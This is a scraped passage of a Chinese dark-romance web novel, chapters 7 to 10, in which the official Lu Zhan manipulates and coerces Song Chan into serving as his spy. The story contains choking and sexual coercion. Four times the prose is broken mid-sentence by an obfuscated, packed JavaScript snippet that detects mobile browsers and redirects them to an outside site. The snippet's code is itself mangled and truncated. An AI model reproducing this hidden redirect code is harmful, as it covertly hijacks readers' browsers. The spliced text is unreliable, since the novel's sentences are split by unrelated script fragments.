唯有亲执利刃，步步为营，让他堕入无尽深渊，切身品尝到失去至亲至爱，比他更甚百倍的痛苦，直至悔不当初，生不如死，才可称作真正的报复。 * 东方既白，宋蝉坐上了与陆湛一同进京的马车。 再度踏入衣肆，宋蝉心中既紧张又期待。 目光扫过周遭的每一处角落，却发现店内并没有吕蔚的身影。 宋蝉失望地垂下眼。 果真是她看错了，吕蔚怎么会在这个时候出现在京城呢？ 宋蝉心中有些酸涩，但转念想，这反倒是件好事，至少说明他们先前的积蓄，尚能够保证他在云都平静度日。 她所有神情动作都被陆湛看在眼里，陆湛唇边泛起一阵意味不明的冷笑。 上次迎接两人的女管事走上前来，身后的侍女捧着一件湖蓝色的新衣。 “这件新制的样衣应当合夫人的尺寸，夫人喜欢吗？” 两名侍女将衣服展开，显出新衣面貌。 质地精良的锦缎流露着犹如月光清晖的光泽，数枚羊脂玉扣盘覆斜襟，为衣身增添点睛之笔。 清雅俊丽，却不失特色。 宋蝉正要抚摸新衣，便有一只洁白细腻的手覆了上来，先她一步摁住了衣裳。 “蔚哥哥，你看这件如何？” 娇俏如银铃的声音，似沁了一汪蜜，连宋蝉也不由得望过去。 忽有春风从门中钻进来，宋蝉脸前的幂篱轻纱微微荡漾，透出一道细微的缝隙，刚巧露出吕蔚的侧脸。 他望着那名小娘子，目光中流露出如春日暖阳般和煦的温情：“你喜欢就好。” 一如从前，他看向宋蝉的样子。 女管事站出来打圆场，颇为抱歉地笑笑：“这件样衣这位夫人正在看，要不您先看看店里其他的衣裳？” “是你们店主说今日新进了几件衣服，我们才特地过来看看的，其他的我都不喜欢。” 小娘子不悦地撇了撇嘴，转而抱住吕蔚的手臂，娇娇地晃了晃：“我就是喜欢这件嘛……” 吕蔚宠溺一笑，像是拿她没有办法，轻说了句“知道了”，而后向宋蝉这边走来。 他仍然穿着他最爱的青色，风姿挺拔，犹如翠竹。 只是身上的这件青衫明显用料更为高级，早已不是之前那件洗到发白的旧衣。 吕蔚一如从前那般守礼，与宋蝉保持着合适的距离：“明日恰巧是我夫人的生辰，不知道这位您能不能割爱把件衣服让给我们？” 说罢，还微微拱手一礼，目光中满是恳切，只盼着她能答应这小小的请求。 宋蝉与吕蔚近在咫尺。 好在还有这道幂篱遮住面容，否则她该去何处躲藏。 夫人？宋蝉晃了晃神。 距离她出事不过月余，她日日夜夜惦念吕蔚，吕蔚却已经另觅新欢，早将她忘却了吗？ 宋蝉只觉得心若刀割，恍若置身冰窖，浑身忍不住地发抖。 脚下一软，几乎快要跌倒，却被一双有力的大手紧紧地托住了腰肢。 “夫人，你怎么了？” 他刻意称她为夫人，还状似关心的发问。 陆湛微微俯首，刚好能与宋蝉平视。他的视线透过幂篱，打量着宋蝉狼狈的模样，漫不经心地开口：“遇上鬼了，还是被定住了？” 宋蝉面色苍白如纸：“我有些不适…我们回去吧，这衣服我不要了……便让给这位娘子吧…” 陆湛佯作不解：“你不是很喜欢这件衣服吗？就这样让给旁人了？” 声音轻飘飘地传入宋蝉耳中，却如同一把利刃，又在她的心上狠狠划了一道。 面对陆湛发问，她无法多作解释，只想赶紧离开。 “仔细看了看，料子不是很适合，还是算了。” 陆湛仍然站在原地没动。 看着宋蝉微微发颤如落蝶的肩头，陆湛眸底神色渐冷。 “我们回去吧……好不好？” 声音已经发颤，像只受伤而孱弱的小羊，强忍着，却不经意透出的泪声。 陆湛竟涌起一股异样的冲动，几欲将这脆弱的她握在掌下，慢慢地、碾碎她最后的逞强。 她快要站不住了，多站一刻都是勉强。 于是不得已地握住他的手。 温软而小巧的，覆住坚实而粗砾的。 他的手太大了，宋蝉无法全部拢住，只能勾起他随意垂下的小指。 即使一声不吭却好像在哀求、在示弱。 陆湛的小指微不可察地颤了颤。 她握得更紧了。 掌心因紧张而沁得湿润，他的指探进其间。 像探破一条深长的花甬，温热而黏腻。 * 回程的马车里，宋蝉倚靠在窗边，与陆湛有两寸距离。 幂篱随意地跌落在她的腿边，她不说话，只是滞滞望着窗外，眼眶泛着红。 陆湛慢条斯理地擦拭着修长的指节，似是笑了一声。 “吕蔚就是你说的故人？” 宋蝉不说话，他却未曾放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769303|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 “使出那些花招手段，就是为了来见他？” 陆湛仍然不紧不慢地擦着手指。 “如今总算见到了，感觉怎么样？” 原先，宋蝉还只是想装作没有听见，忍到陆湛不再开口也就罢了。可他一字一句，尽如冰棱般刺着她的心。 积攒已久的委屈骤然迸发，她似一只被逼到绝境的小兽，用尽全身力气向陆湛吼道。 “别说了！” “宋蝉。”陆湛脸上的笑容消失了，声音也瞬间冷下去，“别忘了自己说过什么。” 是啊，她险些忘了，她答应过陆湛，要安分地做他手中的刀。 陆湛没有追究已经是恩赐，她怎么敢在他的面前，张扬着她对另一个男人的眷恋与不舍呢？ 泪水黏腻在脸上，将鬓边的发丝凌乱作一团。 宋蝉的泪凝在了眼眶，不敢落下。 可是，陆湛怎么会知道吕蔚的名字？ 他看着陆湛冷沉的脸，渐渐将所有的线索串起来，忽然明白了一切。 难怪陆湛会这么轻易便答应她来京城，难怪他在百忙之中也要跟她一起进京，难怪这么巧，能在衣肆见到吕蔚。 难怪，难怪。 “是你？” 陆湛面色平静：“终于想明白了？” “你怎么能这么做……” 陆湛缓缓松开她的下巴，重新坐直回去，淡淡地扫视了她一眼。 “怎么做重要吗？重要的是你应当明白自己该做什么。” 陆湛从怀中取出一张纸，轻飘飘地甩了出去。 信纸如一尾蝴蝶，恰好落在了宋蝉的膝上。 看着那张透着墨痕的信纸，她隐约有了一些预感。 虽然还未看，却好像已然知道纸上的内容与谁有关，只是不知为何觉得手臂重得抬不起来，迟迟不敢将信纸捡起。 “拿起来，看看清楚。” 宋蝉颤抖着捡起那张纸，待看清信上的内容，心猛然一沉。 熟悉的笔触，熟悉的内容，是吕蔚曾为她写下的诗句。 只是这一封情信却并非为她而写，而是在文尾处，写下了极清秀的四个字。 吾妻蓁蓁。 陆湛好整以暇地欣赏着这出好戏，望着宋蝉的泪涟涟的眼，似是一声嘲弄冷笑。 “被枕边人不清不楚地蒙骗了两年，还想为他付出一片赤诚真心，实在愚蠢。” 自从知道吕蔚的存在，他便着人调查吕蔚的身份，果然叫他找到一些蛛丝马迹。 吕蔚本就不全然良善，与那女子也早有往来勾结，他不过是略施手段，要让宋蝉亲眼目睹一切。 如此，她才能彻底割断过去的所有念想，成为一把只能为自己所用、毫无杂念的刀。 宋蝉的哭泣声却戛然而止。 “大人觉得自己什么都明白吗？” 泪痕犹挂在脸上，宋蝉眼中涣散的光芒却渐渐凝聚起来。 “我虽被人辜负，但至少真心爱过旁人，也被人温柔相待过，就算那其中并不是真心，但至少拥有过快乐与幸福，人活一世，便也值了。” 她缓缓抬起头，看向陆湛，眼中竟有怜悯。 “大人你呢？可曾有谁为大人付出过真心？” 8. 第 8 章 话出口的瞬间，宋蝉便悔了。 愤怒涌上头脑，她一时失去了理智，竟然敢这样质问陆湛。 她闭上眼，偏过头不再望他，颇有些视死如归的气势。 下一瞬，脖颈骤紧，她被迫睁开眼。 陆湛的眉头紧蹙，如凝黑冰的眼中泻出一种令人胆寒的寒芒，死死地盯着宋蝉的眼睛。 “宋蝉，你当你是谁？” 他的眼角微微跳动，极力压制的愤怒即将迸发。 “本官之所以能走到今天，正是因为本官从来不信真心。” 陆湛不再称“我”，而是自称本官。 他要她清醒，要她明白，在绝对的权势面前，她没有评判他的资格。 望着那张胜雪的娇靥逐渐泛起红晕，因将近窒息而盈满双眼的水汽，如雨中白荷，楚楚无依。 陆湛松开了手。 很快，他的眼中又恢复了先前的平静。 “宋蝉，我让你来，便是要让你清楚——既要当刀，就不能对人付出任何真心。” “不要再挑战我的耐性。” 马车很快驶到宅院前，陆湛冷声道：“下去。” 未等宋蝉站稳，马车便扬长而去，徒留一地烟尘。 待回到国公府屋中，逐川终于忍不住发声。 “此女性格骄纵，今日竟连大人都敢冒犯。” “属下明白大人先前怀疑她与沈知培案有所关联，这才留她一命。可这些日子属下奔走调查，确未发现什么踪迹。 既然如此，大人还要饶了她吗？” 陆湛点起一根静神的线香，凝视着星火不语。 回程的路上，他同样也在问自己这个问题。 他究竟看中她什么？ 为何在面对这样一个民女的生死去留上，他竟一时无法决断。 或许是因为当初看中她的聪慧，能在生死之境下斡旋，也算有几分胆量。 只是如今看来以她的资质性格，的确不适合以探子培养。 那若是弃了呢？ 暂时不可。他很快否定了。 “先让于嬷嬷看好她，该如何安排，日后再做打算。” * 四月初七，陆国公在府中设宴，为赴京上任的新通政使接风。 陆国公陆晋，辅弼先帝成就诸多勋业，如今虽已辞官归隐，在朝中仍有威望。 新上任的通政使，便是他从前的门生之一。 因沈知培一事风波刚平，朝中人心惶惶，此次接风宴不便大张旗鼓，故只叫了亲近的故友朋邻。 陆晋对陆湛近日在朝中种种举措颇为不满，本不愿让他参宴，但到底是勋贵之家，他不能在外人面前失了体面。 陆湛从千鹰司办完案径直回到国公府，特地换了身松烟色曲领袍，较往日官服少了几分凌厉，反衬出高门士族子弟独有的风姿俊逸，高洁从容。 只是从进府开始，一路百官见了他，都如同见了阎王般避之不及。 陆湛却无所谓，只目不斜视地迈进后厅。 后厅里，陆国公正与通政使夫妇谈话，见陆湛姗姗来迟，一点不给面子，皱眉道：“你贵人事忙，竟要大家都等你一人。” 众人面色有些尴尬，陆湛却面色无虞。 从小到大，他都是不被重视的那一个，父亲动辄打骂，他早已习惯了。 上次父亲在他后背留下的伤疤已结了痂，只是不时仍隐隐作痒，仿佛一次次提醒着他们父子间的不堪。 当然，若没有那人在其中煽惑，这把火也不至于烧到他的身上。 陆湛垂下眼，遮住眼底冷意，颔首道：“父亲教训的是。” 他并没指望要讨得父亲的欢心。 话不投机，便不必多说。 他今日会来参宴，也不过是有探子探得情报——此次接风宴上的那位通政使夫人，与他的长兄陆沣，有过一段旧情。 只是陆湛环视了一圈，却未发现大哥陆沣的身影，便找了借口离开。 陆沣其人向来伪善，最爱在众人面前装出一副父慈子孝，如此场合他竟不在，实在太不应该。 陆湛来到后园假山上的八角亭。站在国公府园林的最高处，一览众人小，能将所有人物尽收眼下。 很快，他便发现了陆沣的身影。 他那一向待人和煦、知节守礼的长兄，竟拿着酒盏向内院方向去了。 陆湛也跟了上去。 陆沣似乎已经醉了，一路扶着墙向前，脚步仍然晃晃悠悠。 将近门槛时，陆沣脚下一绊，眼看就要跌倒，一只有力的大手恰时撑起他。 “前面就是女眷聚谈的地方，兄长可别走错了。” 陆沣眯着醉眼回头，却看见陆湛状似恭谨乖顺的笑容。 陆沣回拢了神思，不着痕迹地避开了陆湛的手。 “多谢三弟提醒。” 陆湛行若无事地直起腰，顺着陆沣极力遮掩、却暗含不舍的目光看过去—— 内院花圃中，四五名女眷围着新上任的通政使夫人笑谈。 像是察觉到了隐约视线，那名年轻貌美的夫人向他们望了过来。 陆湛眉头一紧，怔了怔。 宋蝉与她的样貌，竟有几分相像。 * 宋蝉仰面躺在榻上，双眼凝滞无神，只是静静地盯着房梁上正在结网的小蜘蛛望。 自从那日争执之后，陆湛再也没有回来过别院。 看来，她是真把他惹恼了。 好在陆湛倒是没有刻意苛待她。 每日的饮食照旧，只是她不必再去学写字书画，也不用每日再泡秘制的汤浴。 宋蝉想，陆湛大概是准备放弃她了。 她本来也没有什么胃口，伙房送来的饭菜也不过是草草吃几口，很快就又消瘦了下去。 说不难过是假的。 毕竟曾经和吕蔚那么深的感情，如今被残忍地揭开真相，总是会有些恍惚。 即便告诉自己，应当彻底地忘了他，可每天早上醒来，看见空荡荡的屋子，她总会陷入无边的空寂，控制不住地去回想他们的那些过去。 先前的那些美好，到底哪些是真，哪些是假？ 没有了要练习的任务，日子更是空荡荡的。宋蝉要么在屋里一觉睡到下午，要么独自坐在院中盯着那棵榕树出神，一看就是好半天。 吕蔚赠她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769304|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那枚玉簪，被她折断了。但到底没有狠下心扔掉，仍然存放在床头秘密的格层中。 这日，宋蝉仍在屋内午睡，房门忽然被人推开。 一道灼烈的日光刺进来，照在她的脸上，宋蝉不禁眯起了眼。 于嬷嬷在门前背光而立：“收拾收拾，跟我去一个地方。” 想必是陆湛终于忍不了了，要将她处置了吧。 只是宋蝉好像也无所谓了。 她本就没有父母家人，如今连吕蔚这个盼头也没有了，孤零零一人在世上，生与死也没什么不同。 她只是随便套了件衣裳，顺手抓起桌上的木簪挽了发，又简单净了脸，便跟在于嬷嬷身后出门了。 宋蝉第一次知道，这宅子后门还有一条幽深的小道，可以径直通向后山。 山林中遍林丛生，遮盖日光，脚下落叶堆积如毯，四处幽深静谧。 于嬷嬷带她来到后山深处的一间旧屋。 推开门，灰尘裹挟着难闻的气味扑面而来。 屋内有几名妇人或坐或站，从体态上看年纪不大，但都蓬头垢面、双眼空洞无神。 一名本坐在墙角的女人看到宋蝉进来，眼神骤然癫狂，不顾一切地扑到她面前，口中嘶喊着：“救我！” 宋蝉被这突然的举动吓了一跳，本能地向后躲避，但还是慢了一步，被那女人枯瘦的手紧紧抓住了小臂。 于嬷嬷这才向身后使了个眼色，两名侍卫上前，左右控制住那女人，但那女人眼中疯狂之色不减，越发兴奋地挣扎起来。 宋蝉惊魂未定地被带出旧屋，阳光下，于嬷嬷卷起宋蝉的袖子，雪白小臂上两道血痕明晃晃地刺眼。 于嬷嬷捻着帕子，替宋蝉擦了血。 “疼吗？” 宋蝉点点头：“于嬷嬷……她们都是什么人？” 于嬷嬷脸上未见怜悯之色。 “她为大人办事时，暗会了先时的情郎，险些误了大事。原本照规矩，探子出了麻烦，该自裁报君。大人宽厚，念在此人效力多年，着人劫出留了条命。” “余下不识好歹的，自有她们的青山冢。” 宋蝉心中一沉。 即便她隐约有预感，当听到答案的时候，还是不由得感到身上发寒。 于嬷嬷继续道：“宋姑娘，世间早已没有你这个人了，听我一句劝，少做些痴儿怨女的事。大人没那么多耐心给你。” 于嬷嬷说完这句话，宋蝉便知晓了此行的目的。 带她来后山透风是假，借这些女人的下场提醒敲打才是真。 “我明白了。” 从后山回到屋里，宋蝉坐在了镜前。 这是这么多天以来，她第一次照镜子。 发鬓散乱了，原本红润的面颊因消瘦而微微凹进去，眼下两团乌青盖在苍白的面容上，憔悴得仿佛被抽干了精气神。 望着镜子中的自己，宋蝉忽然恍惚了。 这还是她吗？ 为了一个轻易便能忘却自己、背叛曾经的男人，将自己作成这个样子，值得吗？ 当晚，宋蝉敲开了于嬷嬷的房门。 “于嬷嬷，求您帮我，我想见陆大人一面。” 9. 第 9 章 墨夜沉沉，如水的月色透过雕花窗棂流进屋内。 国公府东厢房内，逐川缓缓展开一幅画像。 画像上的女人模样温婉灵秀，眉眼盈盈，唇不点而朱。 画上的人，正是新任通政使夫人高韫仪。 陆湛静看画像半晌，忽然问逐川：“像她吗？” “确实很像。” 即便陆湛没有说出那个人的名字，可逐川只看了一眼便明白了大陆湛口中的“她”说的是谁。 若非要说两人有哪里不同，那便是通政使夫人妆容精致，且眼形微微上挑，即便不笑的时候也带着几分恰好的娇媚。 而宋姑娘鲜少带妆，更为自然，她的眼中也没有一丝媚态，便如春日新柳拂过的湖波，竟是空濛的澄澈。 逐川一个复又指着画像上的女人：“高韫仪是家中独女，早年高家起迹于江南的纺织生意，后举家北迁上京年。三年前，高韫仪与陆沣相识于诗会，二人相识不久，消息便传到了国公爷的耳中，国公爷不喜高氏家世，便拆了这段姻缘。” 这倒也不稀奇。 陆晋一向最宝贝陆沣这个长子，将他当作国公府的接班人栽培，即便高韫仪再才貌出众，终究不过是商贾之女，陆晋又怎会允许陆沣因儿女私情，而破坏他早已规划好的大业呢？ 恐怕他早已为陆沣物色了更好的姻缘，想要借陆沣的婚事，为家族带来更多助益。 若是让老头子知晓，他最中意的儿子陆沣爱上了一个罪臣之女，岂不是要当场气死过去？ 陆湛低低笑了声。 多年来，他与陆沣无时无刻不在谋划着如何扳倒对方，年幼时若非自己命大，逃过了数次陷害，恐怕早已埋在了黄土冢中。 而今陆沣在朝中为臣，有陆晋在朝中为他留下的诸多势力相护，其间关系错综复杂，又涉及到国公府及背后的诸多世族利益，并非一两日便能厘清。 多年来，他只能看着这个埋在他心中作怪的种子，以极力破土之势，扎根、发芽、繁茂，却始终不得其法。 可如今，竟让他忽然找到了破局的关窍。 留下宋蝉，他又一次赌对了。 算算时辰她应快到了。 思及上次马车上宋蝉的一番言行，陆湛与逐川附耳交代了几句。 半个时辰后，屋外响起逐川的声音。 “宋姑娘，大人在忙公务，没空见你。” 檐灯下，映出一张神色自若、并未感到惊讶的雪靥。 来找陆湛之前，宋蝉心中便做好了碰壁的准备。 上次她的那番不知深浅的话，无疑是在挑战陆湛的权威。对于他这样出身名门，被万人拥簇的贵人，早已习惯了被人恭敬对待、高高仰视，又怎么可能够容忍她这样的行径呢？ 陆湛没有杀她，已是出乎她的意料了。甚至让她觉得，陆湛其实并没有传闻中那般凶残可怕。 “不要紧的，我便先在此等等，不会吵到大人的。” “大人处理完公务便要睡下了。” 虽不知为什么，逐川仍然按照陆湛的吩咐这么说了一遍。 宋蝉声音柔婉，眼神却是坚定：“哪怕是等到明天早上，我也等得的。” “姑娘自便吧。” 四月的上京，夜晚仍然很冷，像她这样的小娘子，恐怕站不了一刻就要回去了。 估计大人也是这么想的吧。 夜风寒凉，宋蝉拢了拢身上的皎白直领对襟披风，在廊下找了个不显眼的地方站着。 不知不觉过了一个时辰，逐川常年行伍，体格健壮，冰天雪地里都打过仗，自然不会觉得这风有什么。 可宋蝉就不一样了。 逐川看向回廊下那道纤瘦的身影，她的鼻尖已被冻得泛起了红，拎着食盒的手指似乎已经僵了，又从左手换到了右手拎。 似乎她的膝盖还有旧伤，时不时要将身体的重心换到另一边腿上，饶是勉力支撑，似乎也是撑不住了，身姿微一动，险些向后摔倒。 逐川不由得摇了摇头。 何必呢？ 庭中树枝摇晃，不过须臾之间，竟毫无征兆地落起了雨。 雨水斜浸回廊之中，落在了宋蝉的披风上。 又过了片刻，屋内忽然传来陆湛的声音。 “逐川。” 逐川与宋蝉不约而同地循声看过去。 * 四月的天，京中大部分人家已不再用碳，陆湛屋内却仍燃着一炉银碳。 室内装饰简约清雅，书桌上仅摆放着一组檀木书架、几卷古籍案籍，及一盏斜放梅花的玉瓶。 宋蝉迈进屋内，叫斜雨浸湿的身体渐渐回暖。 她将手中的食盒放在相距书桌三尺远的梨木饭桌上。 她记着于嬷嬷同她说的话，先说些温和的家常缓和气氛，而后再提认错之事。 宋蝉从食盒中取出瓷碟，其间盛放着莹白如玉的雪花糕，顶上以山楂果酱点缀，似一点红梅绽于雪间。 “听说大人爱吃江南的雪花糕，我特地学做了，大人要尝尝吗？” 陆湛坐在书桌后，微微挑眉，却未有动作。 “我今日恰好不想用甜食。” 宋蝉迟迟地将手缩回去，精致的瓷碟放在桌上。 她知晓，今夜陆湛是不会这么轻易放过她了。 “若无他事，回去吧。” 陆湛拿起桌上的兵卷，看了起来，甚至没有抬头看宋蝉一眼。 宋蝉垂下眸子，长睫微颤，犹豫了许久，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769305|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是开口说出了这句话。 “大人，是我错了。” 她攥紧手中的帕，语气真诚。 “吕蔚与我相逢于微时，彼此互为依靠。吕蔚于我，便是唯一的亲人，那日情形我一时无法接受。” 宋蝉强压心中的紧张，又向前走了两步，离陆湛更近了些。 “我明白，当初若不是大人愿意救下我，我早已死在狱中。” 室内陷入一片沉寂，唯有黄铜火盆中的银碳发出细微的“噼啪”声。 陆湛略略抬眼：“我如今依旧可以让你死在这里。” “继续说下去。” 宋蝉似乎听到了一丝生机，将雪靥抬了起来。 她知晓，于嬷嬷敢指引她来国公府，一定是受到了陆湛的默许。 陆湛不会是真的想让她死。 “大人，世间众人多为凡情所困，鲜少有人能像您这样事事秉持理智，忘却俗情。所幸经过此事，我已然醒悟。” 这句话也是说给她自己听的。 若非亲眼所见，宋蝉其实也很难相信，那个曾经携手并肩、患难与共的人，在权色面前，能够这么轻易地低头，放弃自己。 既然如此，她又有什么理由不为自己奋力争取重活一次的机会呢？ 即便这条路注定充满险阻艰难。 宋蝉知晓要打动陆湛这样的近乎没有情感的人，需要展现出实实在在的好处。 “于嬷嬷也夸赞我，在您悉心培养的众多人中，我的资质还算出众。” 宋蝉孤注一掷，开口道：“您用我，我会报答您的。” 博山炉的袅袅烟雾横隔在二人之间，宋蝉看不清陆湛的神色，只能听得陆湛指间摩挲书页的声音。 又是良久的沉寂。 宋蝉心中刚燃起的星点希望，又被这沉默浇灭了。 她微微咬着嘴唇，攥着手，又走近了几步。 “大人，我愿意为你做任何事。” 说完，她微微屈膝，行了一个深深的礼，久久没有起身。 陆湛终于舍得抬起头看她一眼。 “任何事？” 陆湛的口吻暗含戏谑，甚至还有几分对于宋蝉如此果决行为的挑衅。 宋蝉怔在原地。 她一时没能反应过来陆湛话中的意思。 陆湛放下手中的兵卷，静静地望向她。 “宋蝉，你的性子太过刚烈要强，我的手下容不得你这样的人。” 宋蝉只愣了一晌。 烛光融融，渡流几分暧昧不清的光影。 宋蝉低垂着头，颈后的肌肤已然绯红一片，攥紧衣角的指节泛白。 犹豫了许久，她抬起微微颤抖的手，缓缓伸向身上那件皎白披风的领扣。 10. 第 10 章 她已离他很近了。 近到一低头，就能看见他手中兵卷上的字。 然而她也只敢低着头，不敢看向他的眼睛。 她想起昨夜，于嬷嬷也说过同样的话。 于嬷嬷说她性子要强，恰似霜刃难掩锋芒，如此脾性，若在男子羽翼下求存的境地里，终究是难以为生。 世间男子，大多喜欢女子婉转缱绻之态。尤其是像陆湛这样名门之子，又常年在行伍之间，便如一块千锤百炼的坚硬玄铁，唯有似水温软的柔情，方能打动他一二。 她不喜那些姿态，事已至此，也只能勉强尝试。 随着指尖的细微扭动，宋蝉将披风领前的环扣解开，皎白的衣堆落在脚边，犹似一地玉兰落英。 陆湛便坐在她面前，好整以暇地看着她的动作，目光没有回避。 褪去了外面的披风，便露出内里藕色的衫裙。 她站在明丽的光亮下，而他隐匿在另一侧的阴影里。 如同夜风中的一支孤荷，忍不住微微瑟缩。 接下来，是衫裙。 藕色的衫裙以一排玉扣镶连。 一粒一粒地，抽丝剥茧、徐徐解开。 泄出雪酪般洁白莹润的春光，以及芙蓉色小衣的一圈外沿。 她看着陆湛仍然不为所动的表情，忽然感到双唇有些干涩。 这样的诚心，还不够彰显吗？ 桌上博山炉内的香搅云绕雾，最是静息凝神。 却未能平息宋蝉身上没由来的燥热。 她甚至能够感觉到自己在控制不住地发颤。 纱窗外，风雨已停，静谧一派的檐下，隐约能看见逐川和侍卫交班走动的身影。 宋蝉忽然感到怕了。 将才不知何处而来的勇气，在眼下忽然消弭殆尽。 她想将地上的披风捡起、将自己裹得严实。 脑海中却忽然响起于嬷嬷的话：世上已没有你这个人了，大人没有那么多的耐心给你。 是啊，为了今天这一步，已经舍掉过去、弃下尊严。 难道就这样算了？ 她的指尖便扣在芙蓉小衣的边沿，却迟迟地、未能解开最后一道。 陆湛从一开始便静静地审视着她，眼中却辨不出任何情绪。 直到看见她逡巡的动作，他忽然轻笑了一声。 “怕了？” 宋蝉虽然下定了决心的，但毕竟是第一次做这种事，羞愤便似一团灼热的火，折磨着她。 她勉力回想着于嬷嬷交给她的那些，什么眉眼缱绻勾笑，什么眸含恰到好处的媚色。 明明已对镜练习了许多次，可到眼前，却什么神情也做不出来。 宋蝉想，她现在的样子一定比哭还难看。 于是她极力压下心中的百般情绪，酝酿了一会，才以极轻的声音开口。 “不是我怕了，是我想……让大人教我。” 分不清是故意试探，还是真的这样想。 陆湛犹未开口。 想要剖陈的视线，划过她涨红的颈、发颤的腕与那双惴惴不安低垂的眼。 以及不盈一握、柔软而雪白的细腰。 忽而心底升起一些不适时的躁动。 不能这样。 他的耐心已然耗尽，站起身，目不斜视地从宋蝉身边擦肩走过。 宋蝉心中一沉。 她不能让他就这样离开。 她转过身，下意识想要攥住他的袖，留下他。 忽而一道极快的光影掠过，还未等她反应过来，一把冰冷的匕首已然贴上了她的脖子。 陆湛微微俯身，灼热的气息覆绕着宋蝉的耳垂，像一团琢磨不透的雾气将她包裹。 “你这样的忠心，到底不算诚恳。” 每一丝流动的气息都变得小心翼翼。 掌下刀锋一转，将那件芙蓉色的小衣挑落了在宋蝉的脚边。 * 进陆国公府前，陆湛为她安排了一个新的身份，陆家远房表小姐，纪婵。 与宋蝉两人都是同音单名，也不知是天定的缘，还是祸。 陆国公府的老夫人早年有个手帕交徐氏，徐氏家中不过是普通人家，但家中曾救过老夫人性命，两家便认了干亲，同在家塾念书，只是后来因战乱失散了。 再之后徐氏也老了，儿子儿媳先她去了，唯留下这个孙女。直到数月前，徐氏自知大限已至，担心孙女无人照顾，才肯说出京城陆国公府有这个门路，拿出当年老夫人赠她的手帕，让孙女纪婵作为信物，上京投奔陆国公府。 此事被陆湛探知，在纪婵上京途中提前截下，安置在松阳旧友家中，如此一来，即便日后陆沣起疑探查起来，也无从对证。 而老夫人这边，本来年事已高，尤其喜欢热闹，巴不得儿孙满堂聚在一起，又听闻纪婵是故友的孙女，忙当作表小姐叫人接回府中，想要早日见见。 陆湛又用一番手段，将苏罗桃松安插在宋蝉身边，一同进了国公府。另增了一名紫英，年纪更长一些，为人沉稳机警，以防不时之需可以照应。 宋蝉进陆国公府的那天，正是一个艳阳高照的好日子。 坐在马车内，宋蝉神情有些不安，紫英宽慰道：“娘子不必担心，所有的人事，大人已经打点好了，娘子的身份不会露馅的。况且公府老夫人最喜欢漂亮的孩子，姑娘生得好，老夫人定会喜欢的。” 紫英这话倒不是只为了宽慰宋蝉。 经过这些日子每日补品汤浴的调养，宋蝉已出落得愈发明丽动人，雪靥胜雪，唇若含丹，清丽得不可方物。 莫说是陆老夫人，哪怕是京城公子们见了，也想要垂怜一二的。 饶是如此，宋蝉心里还是不免生出些怯意。 关于纪婵过往在家中生活的一些细节，宋蝉早已熟记于心，而且演练过很多次了。哪怕真有什么，以她的灵活机变，应当也能应付过去。 她倒不是担心这个。 只是一来，纪家落魄前，纪婵也是请了先生学习的，诗文学问却不是宋蝉擅长的东西，即便这些日子勤学苦练，终究是几日之功，难敌人家多年的积累。 二来，陆国公府内部关系错综复杂，而她素日在花月楼长大，见闻有限，虽从前与达官贵人的家仆打过交道，但也不过是皮毛。 对她来说，来到这样的地方，就像是将常年生于阴暗的人骤然在光下，会不自由自主地感到畏惧和无措。 马车缓缓停在国公府煊赫的高门前，宋蝉仰头望着那高悬的门匾，心中五味杂陈。 门房通报后，很快便有婆子迎了出来，为首的婆子客气地唤了一声“表小姐”，便指挥小厮帮她们搬拿行李。 只是临近门前，眼神极快地在她们身上打量了一番。 即便这细微的神情已极力压制，但宋蝉还是敏感地捕捉到了其中暗藏的轻蔑。 倒也不意外，毕竟这些在国公府待久了，连仆人都是高寻常百姓一头。 而像纪婵这种身无背景，全然来投奔的亲戚，能不把嫌弃写在脸上，已是大户人家的体面。 宋蝉咬了咬唇，低下头，装作没有看到，跟着她们身后进了府。 上次来找陆湛虽也是在国公府，但是也只是从偏门直接进了陆湛房内，且并没有心思细看。 这次却大不相同，毕竟是之后很长一段时间要住的地方，宋蝉不免多留了些心。 一路沿着抄手游廊前行，园中奇花异草遍植，雕梁画栋，楼阁轩昂，入目处竟是无尽尊贵繁华。 国公府实在是大得令人讶然，一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 